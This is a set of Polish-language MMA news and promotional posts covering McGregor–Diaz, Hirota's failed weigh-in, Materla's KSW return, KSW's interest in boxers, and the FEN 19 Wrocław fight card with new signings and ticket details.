5 marca 2016. W zasadzie przypadek sprawił, że McGregor spotkał się z Diazem w MGM Grand Garden Arenie. Dla Irlandczyka gala UFC 196 miała być wyjątkowa. McGregor chciał zaatakować drugi pas, miał w swoim posiadaniu tytuł mistrza wagi piórkowej. Jednak czempion kategorii lekkiej Rafael dos Anjos na ostatniej prostej doznał kontuzji stopy. Trwały gorączkowe poszukiwania zastępcy i wybór padł na Diaza, który otwarcie przyznawał, że chce starcia z Irlandczykiem. Amerykanin nie zdążył zrzucić wagi, więc odbyła się ona w limicie 77kg. McGregor trafił rywala, nie brakowało prostych i obrotówek. Mistrz wagi piórkowej UFC poczuł krew, a ta pojawiła się na twarzy Diaza. W końcu Amerykanin ruszył do natarcia, gdy McGregor nieco osłabł i mocnym lewym prostym zamroczył przeciwnika. W końcu walka znalazła się w parterze, gdzie Amerykanin udusił McGregora.

20 sierpnia 2016. Rewanż w T-Mobile Arenie pełen był zwrotów akcji. Początek dla Conora McGregora, który dwukrotnie powalił rywala na ziemię. Zakrwawiony Diaz w drugiej rundzie ruszył do przodu. Amerykanin również w kolejnej odsłonie nacierał, uderzał ciosami prostymi i sierpowymi. McGregor wydawał się bezradny, ale przetrwał. W kolejnych odsłonach zacięta walka, ale obu wojownikom wraz z upływającym czasem brakowało sił. Po pięciu rundach większościową decyzją wygrał Irlandczyk.

30 grudnia 2017? Nie ma się, co oszukiwać, że finał jest jak najbardziej pożądany. 30 grudnia w Las Vegas w końcu miłośnicy MMA mogliby przekonać się, kto jest lepszym fighterem. Tego starcia oczekują kibice, a między samymi zawodnikami zawsze wrzało. Zatem należy spodziewać się show, zaciętej walki i krwi, której w obu poprzednich walkach na twarzy Diaza nie brakowało.

Powrót po przygodzie bokserskiej

Ostatni pojedynek na zasadach MMA McGregor stoczył w listopadzie ubiegłego roku. Przed czasem pokonał Eddiego Alvareza. Później zdecydował się przebranżowić i spróbował swoich sił w boksie. Irlandczyk spotkał się w hitowej walce z Floydem Mayweatherem Jr., ale mimo ambitnej postawy przegrał.

Nate Diaz krytycznie ocenił bokserski występ McGregora. W ostatnim czasie Amerykanin otwarcie mówił, że czuje się odstawiony przez UFC na boczny tor. Na początku roku otrzymał propozycję kolejnej walki, ale nie był nią usatysfakcjonowany.

Teraz pozostaje tylko czekać aż obie strony powiedzą „tak” i starcie zostanie oficjalnie potwierdzone. 

KM

Fatalny efekt zbijania wagi

Mizuto Hirota słaniał się na nogach, omal nie przewrócił się podczas ważenia przed galą UFC Fight Night 117. W związku z tym 36-latek nie zaprezentuje się w Saitamie.

Gala w Japonii już za kilka godzin, jednak na ostatniej prostej wypadł z niej Mizuto Hirota. Ci, którzy z bliska obserwowali ważenie przed galą UFC Fight Night 117 z pewnością na chwilę wstrzymali oddech.

Skrajnie wyczerpany

36-latek miał spotkać się w Saitamie z Charlesem Rosą. Gdy Japończyk wychodził na ceremonię ważenia widać było, że coś jest nie tak. Mizuto Hirota dosłownie słaniał się na nogach. Chwiejnym krokiem doszedł do wagi, ale omal z niej nie spadł. Gdyby nie pomoc mężczyzn stojących obok, Japończyk mógłby się nieco poturbować.

Nie jest tajemnicą, że zawodnicy w cyklu przygotowawczym przed walką robią wszystko, aby zmieścić się w limicie wagowym. Stosują najróżniejsze metody. Począwszy od głodzenia poprzez wygrzewanie się w wysokich temperaturach. Mizuto Hirota chciał zrobić wszystko, aby zmieścić się w limicie kategorii piórkowej i wystąpić na gali w ojczystym kraju. Jednak stan fizyczny zawodnika pozostawiał wiele do życzenia. Podczas ważenia Japończyk był osłabiony i opuszczał pomieszczenie przy wsparciu osób trzecich. 

W takiej sytuacji władze UFC nie mogły sobie pozwolić na ryzyko. Decyzja była jednoznaczna – Mizuto Hirota nie wystąpi na gali w Saitamie. Warto dodać, że mimo podjętego wysiłku i wycieńczenia – 36-latek nie zmieścił się w limicie wagowym. Hirota przekroczył granicę o blisko dwa kilogramy.

Hirota debiutował w UFC ponad cztery lata temu. Jednak nie będzie tego występu wspominał miło, gdyż przegrał z Ranim Yahyą. Dopiero w czwartym starciu w amerykańskiej organizacji zanotował zwycięstwo. Dotychczas Hirota stoczył w UFC pięć walk, z których trzech zakończyły się jego porażkami. Zanotował również remis i zwycięstwo.

Rywalki Jędrzejczyk spotkają się w Japonii

Podczas gali w Saitamie dojdzie do ciekawego pojedynku w kategorii słomkowej. Krok w stronę kolejnej walki o pas będą chciały zrobić Claudia Gadelha i Jessica Andrade. Obie rywalizowały już z Joanną Jędrzejczyk, jednak musiały obejść się smakiem.

W Japonii debiut w UFC zaliczy legendarny kickboxer Gokhan Saki. Blisko 34-letni zawodnik może pochwalić się tytułem mistrzowskim Glory w wadze półciężkiej, który wywalczył w 2014 roku. Zdobywał również tytuły czempiona Europy i świata muay thai. Saki zmierzy się z Henrique da Silvą, który przegrał trzy ostatnie walki w UFC.

W walce wieczoru zaprezentują się Ovince St. Preux i Yushin Okami.

Fot. ufc.com

KM

Materla wystąpi w Dublinie

Były mistrz wagi średniej KSW Michał Materla wraca do rywalizacji. 33-letni szczecinian wystąpi na gali w Dublinie, która odbędzie się 22 października.

Dyspozycja Materli pozostaje zagadką, bo przez osiem miesięcy zawodnik MMA przebywał w areszcie tymczasowym w związku z podejrzeniem o udział w zorganizowanej grupie przestępczej.

Rok przerwy

Ostatni pojedynek Michał Materla stoczył blisko rok temu. Podczas gali KSW 36 w Zielonej Górze efektownie znokautował Rousimara Palharesa i odniósł 24 zwycięstwo w karierze. Chwila euforii i pokaz siły oraz jasny sygnał, że zawodnika Berserkers Team stać na rywalizację na najwyższym poziomie. 

Jednak w grudniu ubiegłego roku kariera Materli została przerwana. Fighter został zatrzymany przez funkcjonariuszy Centralnego Biura Śledczego i trafił do więzienia. Materla miał działać w zorganizowanej grupie przestępczej, której obszarem zainteresowań była multiprzestępczość, a przede wszystkim przemyt kokainy z Aruny czy handel tytoniem. Były mistrz KSW nie przyznawał się do winy. Miał opuścić areszt w marcu, ale poznańska prokuratura złożyła wniosek o jego przedłużenie. Dopiero po ośmiu miesiącach, w lipcu, Materla wyszedł na wolność. 

Teraz Materla będzie jednym z głównych aktorów wielkiego sportowego widowiska. Jeszcze kilka tygodni temu mówiło się, że istnieje szansa występu 33-latka na gali UFC w Gdańsku. Rozmowy trwały, Polak miał być rywalem Thiago Santosa, ale do porozumienia nie doszło. Materla wystąpi na gali organizacji, w której świętował największe sukcesy. 22 października zaprezentuje się na KSW 40 w Dublinie. – Cieszę się, że po latach doczekałem czasów, w których nasi czołowi i kluczowi zawodnicy odrzucają ofertę UFC i wybierają KSW. I nie chodzi tu tylko o lojalność, czy jakieś przywiązanie emocjonalne, ale również o to, że opłaca się to im biznesowo. Nie mniej jednak emocjonalnie mówię ::: DZIĘKUJĘ! Michał Materla oficjalnie na KSW w Dublinie. Jak myślicie, kto zmierzy się w klatce z legendą polskiego mma? – napisał na swoim Facebook Martin Lewandowski, współwłaściciel KSW.

Karta pełna dziur

Gala w Dublinie coraz bliżej a KSW nadal buduje napięcie. W karcie walk nadal jest wiele pustych miejsc. Wiadomo, że w Dublinie o trzecie zwycięstwo z rzędu powalczy Mariusz Pudzianowski. Rywalem byłego mistrza strongmanów będzie James McSweeney, który ma dwie walki w KSW. 36-latek pokonał Marcina Różalskiego, ale przegrał z Karolem Bedorfem.

Pasa w wadze muszej kobiet będzie broniła Ariane Lipski, która czeka na nazwisko rywalki. Do trzeciej obrony tytułu w wadze lekkiej przystąpi Mateusz Gamrot. Polak ponownie zmierzy się z Normanem Parke'iem, którego pokonał w Warszawie. Na przeciwników czekają Anzor Azhiev, Chris Fields, Maciej Jewtuszko. Na początek emocji w Dublinie zmierzą się Konrad Iwanowski i Paul Lawrence.

KM

KSW zarzuciło wędkę na bokserów?

Spotkanie współwłaściciela KSW Martina Lewandowskiego z Arturem Szpilką wywołało falę komentarzy. Teraz na pierwszym planie znalazł się Tomasz Adamek, który otrzymał propozycję od  organizacji.

Jeżeli o czymś się nie mówi, tego nie ma. Dlatego KSW robi wszystko, aby o organizacji cały czas było głośno. Mariusz Pudzianowski, Robert Burneika, Damian Janikowski, Popek, Tomasz Oświeciński – to nazwiska, które miały przyciągnąć kibiców. Teraz w orbicie zainteresowań KSW znaleźli się znani bokserzy.

Szpilka prostuje

Po porażce z Adamem Kownackim, Artur Szpilka wycofał się, musiał mieć czas dla siebie. „Szpila” przegrał w czwartej rundzie i jego kariera znalazła się w trudnym położeniu. Pojawiła się propozycja ze strony Marcina Najmana, aby obaj spotkali się w ringu. Były pretendent do tytułu mistrza świata wagi ciężkiej WBC nie przejawiał zainteresowania propozycją.

W sierpniu Artur Szpilka spotkał się ze współwłaścicielem KSW Martinem Lewandowskim. Panowie wspólnie zjedli obiad, a w sieci pojawiło się zdjęcie z rozmowy. Od razu ruszyła fala spekulacji na temat występu Szpilki w KSW. Mateusz Borek, dziennikarz sportowy i promotor boksu, napisał w mediach społecznościowych, że pięściarz z Wieliczki podjął rozmowy z federacją. Szpilka nie potwierdził tych doniesień. Odpowiedział na Twitterze Borkowi. – Pier… Matt strasznie. Jakie ustalenia? Jedyne ustalenia, jakie padły, to takie, że jeżeli będę walczył w MMA to tylko w KSW. Weźcie się do roboty. Wkurza mnie, że każdy wie lepiej ode mnie, co będę robił – napisał Szpilka.

Co z Adamkiem?

Propozycję od KSW otrzymał również Tomasz Adamek. Jednak obecnie były mistrz świata WBC w kategorii półciężkiej zamierza skupić się na kolejnych występach w ringu. W ostatnim starciu, wrócił po ponad roku, „Góral” pokonał Solomona Haumono i zanotował 51 zwycięstwo w karierze.

Tomasz Adamek nadal czuje głód boksu. Jeśli miałby wystąpić w KSW, to raczej nie w pojedynku na zasadach MMA. Możliwa byłaby walka na wzór tej, którą stoczyli Floyd Mayweather Jr. i Conor McGregor.

KSW spełnia potrzeby

Martin Lewandowski i Maciej Kawulski stworzyli markę KSW od podstaw. W ich działaniu widać konsekwencję w realizowaniu opracowanej koncepcji. Każde kolejne wydarzenie przygotowują z rozmachem, ale nie mogą pozwolić sobie na bierność. Bo show itd….

Poziom sportowy to jedno, ale pod względem komercyjnym – istotna jest rozrywka. Znane nazwiska budzą ciekawość i przyciągają masy do śledzenia widowiska. Ostatnie zestawienia walk m.in. Pudzianowski – Popek czy Burneika – Popek pokazały, że władze KSW „mają nosa”. Przede wszystkim chodzi o realizowanie planu na widowisko idealne. A takie potrzebuje magnesu, najlepiej kilku.

KM

FEN 19 "Bitwa o Wrocław"!

Kolejnym przystankiem Fight Exclusive Night będzie Wrocław, a 19. edycja gali, która nosi nazwę „Bitwa o Wrocław” odbędzie się 14 października w Hali Orbita. Na ten moment znamy dwa zestawienia, ale włodarze federacji zapewniają, że mają przygotowaną najmocniejszą kartę walk w historii.

Pierwszy raz podczas gali FEN odbędzie się „Freak Fight”. Obaj wojownicy, których występ już dziś budzi ogromne zainteresowanie, to na co dzień trenujący zawodnicy, dla których występ w MMA jest spełnieniem sportowych marzeń.

– „Arab” i „Ruby” staną naprzeciwko siebie w oktagonie podczas październikowej gali, która odbędzie się we Wrocławiu. Nasi kibice domagali się na Freak Fight’u, więc spełniamy  ich życzenia. Raperzy zmierzą się w kategorii do 77 kg. Co ważne – obaj nieźle radzą sobie w klatce. Trenują, cały czas podnoszą swoje umiejętności, można powiedzieć, że są sportowcami, którzy debiutują w MMA. To nie osoby, które wyjdą do klatki bez przygotowania – zapewnia Paweł Jóźwiak, prezes FEN.

Gabriel Al-Sulwi, czyli artysta znany pod pseudonimem „Arab” to 24-latek pochodzący z Rzeszowa, któremu MMA pozwoliło wyjść w życiu „na prostą”. Sam wokalista wielokrotnie powtarzał, że był uzależniony od marihuany, a dzięki walkom nawrócił się i teraz jest lepszym człowiekiem.

Bartłomiej Brzeziński, czyli „Ruby” kojarzony jest przez wiele osób z zespołem „Ganja Mafia”. Od dłuższego czasu można obserwować na jego facebook’owym profilu, jak trenuje i spędza każdą wolną chwilę podnosząc swoje umiejętności w mieszanych sztukach walki.

Drugim pojedynkiem, który odbędzie się we Wrocławiu jest starcie pomiędzy Pawłem Biszczakiem (24-3) z Wojciechem Wierzbickim (13-3). Będzie to rewanż za pojedynek ze stycznia 2017 roku, kiedy to w Lubinie lepszy okazał się Biszczak. Pojedynek odbędzie się w formule K-1, a jego stawką będzie pas mistrzowski FEN w kategorii do 77 kg.

Ponadto włodarze FEN pracują nad zorganizowaniem pojedynku Marcina Sianosa z Tomasem Pakutinskasem w wadze ciężkiej. Po ostatnim efektownym zwycięstwie Sianosa w Koszalinie w internecie pojawiło się ogromne zainteresowanie starciem polsko-litewskim, a Paweł Jóźwiak zapewnia, że zrobi wszystko, aby obaj dżentelmeni mogli się ze sobą zmierzyć już podczas FEN 19.

Podczas Fight Exclusive Night zobaczymy aż 10 pojedynków – 7 w formule MMA i 3 w K-1. Będą powroty, będą walki o pasy mistrzowskie oraz spektakularne rewanże. Wszystko przy wrocławskiej publiczności, która już po raz siódmy będzie miała przyjemność zobaczenia na żywo europejską czołówkę wojowników w akcji.

Sprzedaż biletów na to wydarzenie rozpocznie się w piątek, 18 sierpnia, o godzinie 12:00 na stronie www.fen-mma.com/bilet/ oraz na stronach zaprzyjaźnionych bileterni.

Biszczak VS Wierzbicki II na FEN 19

W końcu! Najbardziej wyczekiwany rewanż w Polsce dojdzie do skutku. Mowa oczywiście o pojedynku w formule K-1 pomiędzy Pawłem Biszczakiem(24-3) a Wojciechem Wierzbickim (13-3). Obaj wojownicy zmierzą się ze sobą w walce wieczoru na Fight Exclusive Night 19 we Wrocławiu 14 października.

W styczniu 2017 roku Biszczak z Wierzbickim spotkali się w klatkoringu po raz pierwszy i wtedy posiadaczem pasa mistrzowskiego organizacji był Wierzbicki, w którym wielu ekspertów upatrywało faworyta starcia. Po pięciorundowym zaciętym boju, to jednak Biszczak zwyciężył przez niejednogłośną decyzję sędziów. Arbitrzy mieli spore wątpliwości, komu należy przyznać wygraną, gdyż emocji, kopnięć, mocnych ciosów na szczękę oraz zwrotów akcji było co nie miara. Komentujący te starcie Łukasz „Juras” Jurkowski nie miał wątpliwości – to był spektakl w najczystszej postaci.

Dużo mówiło się w środowisku MMA w Polsce o ewentualnym rewanżu obu panów, a włodarze FEN stwierdzili ostatecznie, że to należy się kibicom w naszym kraju. Podczas treningu medialnego zapowiadającego FEN 18 Paweł Jóźwiak, prezes federacji, zaprosił Wojciecha Wierzbickiego na scenę i zapytał przy zgromadzonych na rynku Staromiejskim w Koszalinie kibiców, co oni sądzą o ewentualnym rewanżu. Po aplauzie fanów i deklaracji byłego czempiona, że chce powtórnego starcia, Jóźwiakowi nie pozostało nic więcej, jak tylko kilka dni później oficjalnie ogłosić, że pojedynek Biszczaka z Wierzbickim będzie walką wieczoru podczas FEN 19 „Bitwa o Wrocław”.

Co jest najlepsze w tej walce? To, że w niej tym razem nie będzie faworyta. Stary mistrz zrobi wszystko, żeby pas wrócił do niego. Nowy czempion nie pozwoli sobie odebrać trofeum, które wywalczył z wielkim trudem.

Wrocław jest przyzwyczajony do roli gospodarza wielkich gal Fight Exclusive Night. Październikowe wydarzenie będzie już siódmym zorganizowanym przez federację. Tym razem zestawienie karty walk ma być najlepsze w czteroletniej historii federacji. Zobaczymy aż 10 pojedynków, z czego 7 odbędzie się w MMA. Pozostałe 3 będą to już formuła K-1, co samo w sobie generuje znakomite emocje. W akcji zobaczymy wielu byłych i – kto wie – być może przyszłych mistrzów federacji, którzy w stolicy Dolnego Śląska tłumnie zasiądą w Hali Orbita i będą z zapartym tchem oklaskiwać współczesnych gladiatorów.

Nowe twarze w FEN!

Potwierdzamy! Poznaliśmy nowych zawodników, którzy zasilą szeregi federacji Fight Exclusive Night! Trzy nowe twarze będzie można oglądać podczas kolejnych edycji!

Zacznijmy od kobiety, bo FEN nigdy nie zapomina o płci pięknej. Mowa o Barbarze Nalepce, która będzie walczyła w MMA i rywalizowała w kategorii do 56 kg. Pseudonim „Shogun” mówi sam za siebie – Basia to zwariowana dziewczyna, która w oktagonie ma zamiar pokazać swoje prawdziwe oblicze. Prywatnie bardzo ciepła i wrażliwa dziewczyna, którą interesuje cały świat. Jako nowa zawodniczka walcząca dla Fight Exclusive Night ma ożywić swoją kategorię wagową wśród kobiet.

Karol Kruzel to nowy zawodnik walczący w formule K-1 w kategorii do 70 kg. Urodził się w Lęborku, ale duży fragment swojej kariery był związany z gdańskim klubem „Duet”. W swoim dorobku ma brązowy medal Pucharu Europy z kickboxingu low kick oraz jest dwukrotnym wicemistrzem Polski w kickboxingu light contact. W przeszłości był już wiązany z federacją FEN i miał wystąpić podczas 13. edycji gali „Summer Edition”, która odbyła się w Gdyni. Zestawiono go z Jakubem Rajewskim, ale ostatecznie Kruzel doznał kontuzji i musiał wycofać się z walki. Teraz wszystko wskazuje na to, że będzie mógł zadebiutować w barwach federacji podczas jednej z najbliższych gal.

Krzysztof Kottas to zawodnik trenujący w klubie UKS Gladius Trzebnica. Będzie rywalizował w formule K-1 w kategorii do 70 kg. Dzięki dobrej postawie na „Summer Camp” zapracował sobie na zawodowy kontrakt w Fight Exclusive Night, a Paweł Jóźwiak, czyli prezes federacji, wiąże z nim spore nadzieje. – Moim zdaniem to chłopak, który może sporo namieszać w swojej kategorii wagowej. Mamy mocnych zawodników w K-1, ale cały czas myślimy o kolejnych ciekawych postaciach, które pozwolą nam się rozwinąć. Kottas ma papiery na mistrza. Naprawdę, widziałem jego podejście do sportu – ma zadatki na wysokiej klasy wojownika – przyznał.

Fight Exclusive Night obserwuje również Hubera Szymajdę, który póki co kontraktu od federacji nie otrzymał, ale który być może wkrótce dołączyć do organizacji.

Fight Exclusive Night ma przygotowaną jeszcze jedną niespodziankę. Informacja na ten temat zostanie podana jeszcze w tym tygodniu. Bądźcie czujni.

Magdalena Rak nową zawodniczką FEN!

Miło nam wszystkich poinformować, że nową zawodniczką federacji Fight Exclusive Night została Magdalena Rak. 25-latka trenująca na co dzień w Octagon Team Kraków & Akademia Fenix będzie walczyła w MMA w kategorii do 56 kilogramów.

Magda urodziła się w Proszowicach, choć od dłuższego czasu mieszka w stolicy Małopolski. Ma 171 centymetrów wzrostu, a najchętniej stosowaną techniką w czasie pojedynku jest low kick. Łącznie, wliczając walki amatorskie i zawodowe, stoczyła 52 pojedynki, z czego 45 wygrała. Pięciokrotnie zwyciężyła przez nokaut.

W swoim dorobku ma wiele sukcesów. Może pochwalić się między innymi złotym medalem podczas amatorskich mistrzostw świata IFMA w Muay Thai w roku 2009 w Bangkoku oraz złotym krążkiem w K-1 podczas WAKO Cup w 2015 roku w Pradze. Wcześniej, w 2012 roku, została brązową medalistką mistrzostw świata amatorów w Muay Thai w Saint Petersburgu oraz mistrzynią Polski również w tajskiej odmianie boksu.

Za swoją najlepszą walkę w karierze uznaje tą z 2012 roku, kiedy to pokonała Caley Reece w Bangkoku. Magda inspiruje się karierą Joanny Jędrzejczyk, a sama mistrzyni świata UFC zapytana przez Fight Exclusive Night o opinię na temat swojej młodszej koleżanki po fachu bez chwili zawahania przyznała, że widzi w niej ogromny potencjał. Rak na temat swojej przyszłości w FEN uważa, że to dla niej spora szansa na rozwinięcie zawodowej kariery, a marzenia sięgają pasa mistrzowskiego w kategorii słomkowej.

Co na temat Magdaleny Rak uważa Paweł Jóźwiak, prezes federacji? – Moim zdaniem to jest przyszłość polskiego MMA. Rozmawiałem z Asią Jędrzejczyk, ona jest zachwycona Magdą. Ma dopiero 25 lat, a już ponad 50 stoczonych walk i sporo sukcesów na koncie. Jest już doświadczona, a cały czas głodna kolejnych triumfów. To młodsza Jędrzejczyk – naprawdę, wszyscy kibice mieszanych sztuk walki w naszym kraju mają obowiązek zapamiętania tego nazwiska. O tej dziewczynie będzie głośno za kilka lat na całym świecie – komplementował Magdę Jóźwiak.

W ciągu najbliższych tygodni dowiemy się, kiedy Rak zadebiutuje w oktagonie FEN. Nie wykluczone, że trenującą w Krakowie zawodniczkę zobaczymy już podczas edycji numer 19 we Wrocławiu, 14 października.

 

Bilety  na FEN 19 "Bitwa o Wrocław" dostępne są na stronie www.fen-mma.com/bilet/, Biletyna.pl, Eventim.pl, Kupbilet.pl

Leśko VS Brandys na FEN 19!

Fight Exclusive Night odsłoniło przed państwem trzecią z dziesięciu kart przed 19. edycję gali, która odbędzie się we Wrocławiu. O podbój stolicy Dolnego Śląska powalczą Bartosz Leśko (5-0, 2 KO, 3 SUB) z Pawłem Brandysem (6-4, 3 KO, 2 SUB). Pojedynek na zasadach MMA odbędzie się w kategorii do 84 kilogramów.

Dla obu panów będzie to drugie starcie pod szyldem FEN. Lepsze wspomnienia z federacją ma Leśko, który podczas „Baltic Storm”, czyli 17. edycji, która odbyła się w Gdyni w maju tego roku, pokonał przed czasem Aleksandera Rychlika. Leśko poddał swojego rywala w drugiej rundzie, czym skradł serca trójmiejskiej publiczności. Tamto zwycięstwo było dla niego o tyle cenne, gdyż zostało odniesione przed własną publicznością. Jeden z bohaterów FEN 19 trenuje na co dzień w słynnym gdyńskim klubie „Mad Dogs”. Wszystkie pięć zwycięskich pojedynków odniesionych przed czasem są gwarancją niesamowitego widowiska.

Brandys jest bardziej doświadczony i ma na swoim koncie 10 stoczonych walk, z czego aż sześć z nich zwycieżył. Na uwagę zasługuje fakt, że aż pięć wygrał przed czasem – trzy przez nokaut, dwie przez poddanie. Jeszcze nie pod szyldem FEN mierzył się ze starym-dobrym znajomym wszystkich kibiców federacji, czyli Marcinem Naruszczką. W pierwszej walce był remis, w rewanżu to Naruszczka okazał się minimalnie lepszy i wygrał na punkty.

Dla Brandysa będzie to drugi występ podczas gali FEN. Do walki tej podejdzie w dobrym humorze, gdyż w maju tego roku pokonał Denisa Vygovskiego przez nokaut już w pierwszej rundzie. Zapowiada się emocjonujące starcie, które prawdopodobnie nie potrwa pełnego dystansu. To oznacza jedno – będzie się działo.

– Obiecywałem wielkie grzmoty i tak będzie we Wrocławiu. Leśko i Brandys z 11 wygranych wspólnie pojedynków aż 10 zakończyli przed czasem. Czy coś więcej muszę dodawać, żeby przekonywać o wyjątkowości tego starcia? Chyba nie – powiedział pewny siebie prezes FEN, Paweł Jóźwiak.

Znamy zatem już trzy pojedynki podczas Fight Exclusive Night 19 „Bitwa o Wrocław”. Jeszcze dużo niewiadomych przed nami, bądźcie czujni!

Bilety  na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet/, Biletyna.pl, Eventim.pl, Kupbilet.pl

FEN19. ARAB VS RUBY: Dlaczego warto obejrzeć walkę?

Walka „Araba” z „Rubym” będzie jednym z głównych wydarzeń gali Fight Exclusive Night, która odbędzie się 14 października we Wrocławiu. Fani ostrzą sobie apetyt na ten pojedynek, gdyż po raz pierwszy w historii federacji odbędzie się „Freak Fight”. Starcie odbędzie się w formule MMA, w kategorii do 77 kg. Już dziś kup bilet na tą walkę na www.fen-mma.com/bilet. Do godziny „zero”

Z tej okazji postanowiliśmy znaleźć 10 powodów, dla których tę walkę trzeba obejrzeć na żywo z wysokości trybun. Oto one:

  1. Debiut obu zawodników na zawodowstwie. Intuicja podpowiada nam, że to będzie dobra walka, a nieprzewidywalność powoduje, że nie umiemy sobie dziś wyobrazić jak starcie będzie wyglądało. Kopnięcia? Walka w stójce? Parter? Duszenie? Wszystko się może wydarzyć.
  2. Niepewność. To właśnie ona kręci nas najbardziej. Wiemy, że spotka się ze sobą dwóch ambitnych gości, którzy będą chcieli „z buta” wjechać do klatki i z przytupem rozpocząć swoją karierę w MMA. Nie wiemy jednak, kto jest lepiej przygotowany i kto ma więcej argumentów czysto sportowych przed tym starciem. Jak będzie?
  3. Pierwszy „Freak Fight”. Poza wysokim poziomem pojedynków, który od zawsze był wizytówką FEN, teraz do tego wszystkiego dojdzie walka dwóch osób, które nie wywodzą się stricte ze sportu. To z pewnością będzie wartością dodaną dla federacji.
  4. Wysoki poziom walki. Obaj zawodnicy od dłuższego czasu ciężko trenują, więc poziom walki powinien stać na wysokim poziomie. To nie będzie walka celebrytów, a osób, które będą potrafiły wnieść solidną jakość sportową.
  5. Przedostatnia walka. Zanim „Arab” i „Ruby” wejdą do oktagonu, to odbędzie się już osiem walk. Wrocławka publiczność będzie już wyjątkowo rozgrzana, kiedy zawodnicy staną naprzeciwko siebie.
  6. Wrocław – dobry gospodarz. FEN po raz siódmy zawita do Stolicy Dolnego Śląska, a to jest gwarancja znakomitych emocji. Każda gala, która odbyła się we Wrocławiu, była wyjątkowym widowiskiem.
  7. Nowi kibice na trybunach. Dwóch raperów, którzy mają liczne grono swoich fanów z pewnością przyczynią się do tego, że ich odbiorcy również zawitają do Wrocławia. Nowi fani FEN? Jesteśmy na tak!
  8. Jesteśmy z chłopakami w stałym kontakcie – obaj trenują w pocie czoła do tego pojedynku. To nie tylko gadanie i mydlenie oczu – każdy podchodzi do tej walki na serio i wie, że dużo osób będzie liczyło na znakomite widowisko.
  9. Prezes wie, że czekają nas wielkie grzmoty. Prezes mówi, prezes wie. Plan na zorganizowanie tej walki był już dawno temu i w końcu dojdzie ona do skutku. Na pytanie o stosowność organizowania tego pojedynku, Jóźwiak odparł krótko: jestem pewien, że czeka nas znakomity pojedynek.
  10. Zwycięzca będzie łakomym kąskiem… dla wszystkich zawodników z kategorii do 77 kilogramów. Lepszy z raperów zacznie się liczyć w stawce i ma szanse być wiodącą postacią w kontekście kolejnych gal. Jak będzie? Nie wybiegajmy w przyszłość, ale stawka jest naprawdę spora.

Bilety  na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet/, Biletyna.pl, Eventim.pl, Kupbilet.pl.

Nowak VS Głąb na FEN 19!

Poznaliśmy kolejnych bohaterów gali Fight Exclusive Night 19, która 14 października odbędzie się we Wrocławiu. W oktagonie Hali Orbita zobaczymy pasjonujące starcie dwóch wojowników rywalizujących w formule MMA w kategorii do 70 kilogramów. Naprzeciw siebie w klatce staną Patryk Nowak (4-1, 1 KO, 2 SUB) i Mateusz Głąb (4-0, 1 KO, 2 SUB).

Nowak to utalentowany grappler, który wywodzi się z zapasów. Jako junior i kadet odnosił wiele sukcesów na krajowym podwórku, często sięgając po najwyższe laury. Znaczną część swojej kariery spędził w Szwajcarii, gdzie trenował pod okiem Robsona Dantasa w brazylijskim klubie Kimura Nova Uniao.  Zawodowo zadebiutował w 2016 roku, kiedy to na punkty wygrał z Anthony’m Mullerem. Potem zwyciężał jeszcze trzy razy z rzędu, każdy z pojedynków kończąc przed czasem.  Choć  w swojej pierwszej walce dla Fight Exclusive Night podczas FEN17 Baltic Storm przegrał ze słynnym Piotrem Hallmannem, to tym razem z pewnością zrobi wszystko, by zejść z maty z pucharem.

Niespełna 26-letni Głąb sportowo „dojrzewał” pod szyldem Fight Excluisive Night, gdyż to właśnie w barwach FEN stoczył 3 z 4 zawodowych walk. Debiutował podczas  FEN10 w Lubinie, poddając w trzeciej rundzie Pawła Kordylewicza. Potem, po jednogłośnej decyzji sędziów, Głąb z klatki wychodził zwycięsko pokonując jeszcze Michała Miłka i poddając na FEN 15 Leonida Smirnova. Warto nadmienić, że zawodnik ten wywodzi się z taekwondo, w którym Puchar Świata i Puchar Europy oraz stoczył łącznie ponad 150 walk.

– Nowak musi wygrać, bo ostatnio stracił zero w rekordzie, co wyraźnie go boli. Jednocześnie obaj zawodnicy trzy z czterech swoich zwycięskich walk zakończyli przed czasem. To daje jasny sygnał: będzie się działo – powiedział Paweł Jóźwiak, prezes Fight Exclusive Night.

Bilety  na FEN 19 „Bitwa o Wrocław” dostępne są na stronie www.fen-mma.com/bilet, Biletyna.pl, Eventim.pl, Kupbilet.pl.

Nowak kontra Głąb na FEN19!

FEN na targach FIWE!

Już w najbliższy weekend, 9 i 10 września odbędą się targi FIWE – największe w Polsce targi fitness. Podczas imprezy swoje stoisko będzie miała również federacja Fight Exclusive Night.

To znakomita okazja, by spotkać się z najlepszymi zawodnikami, występującymi w federacji. Podczas  targów swoją obecnością zaszczycą państwa między innymi  Róźa Gumienna, Paweł Biszczak, Kamil Łebkowski, Arkadiusz Wrzosek oraz Bartłomiej „Ruby” Brzeziński.

Występ gwiazd FEN podczas targów FIWE będzie podzielony na dwie części. Pierwsza, która odbędzie się w sobotę, obejmie trening medialny, kiedy to będzie można z bliska przyjrzeć się umiejętnościom zawodników. Start o godzinie 14. Druga, niedzielna, to konferencja prasowa, w której kibice oraz dziennikarze będą mogli „przepytać’ swoich ulubieńców oraz poznać ich najskrytsze sekrety. Początek o godzinie 12.

Podczas imprezy, która odbędzie się w Warszawskim Centrum EXPO XXI, można spodziewać się konkursów z nagrodami, a zawodnicy będą „do dyspozycji” swoich fanów. Nie zabraknie autografów oraz okolicznościowych zdjęć. To znakomita okazja do tego, my na kilka tygodni przez galą Fight Exclusive Night 19 „Bitwa o Wrocław” poznać swoich idoli, a kto wie, być może zaszczepić w sobie miłość do MMA i K-1.

– Cieszę się, że wystąpimy podczas targów FIWE, bo to impreza, które generuje duże zainteresowanie sportowych pasjonatów. W ofercie mamy przygotowane naprawdę spore atrakcje dla wszystkich fanów MMA i K-1. Podczas imprezy będzie wiele naszych gwiazd, będzie można z nimi porozmawiać oraz zobaczyć w akcji podczas treningu medialnego. Skracamy dystans, wychodzimy naprzeciw swoich fanów. Chcemy, aby dzięki takim imprezom jak ta, identyfikowali się oni z naszymi wojownikami – powiedział Paweł Jóźwiak, prezes FEN.

Gdzie? EXPO XXI Warszawa ul. Prądzyńskiego 12/14, 01-222 Warszawa

Co? Targi FIWE – Największe w Polsce targi fitness

Kto? Fight Exclusive Night – stoisko największej w Europie organizacji MMA i K-1

Atrakcje? Spotkanie z zawodnikami, trening medialny, konferencja prasowa, konkursy, wspólne zdjęcia, autografy.

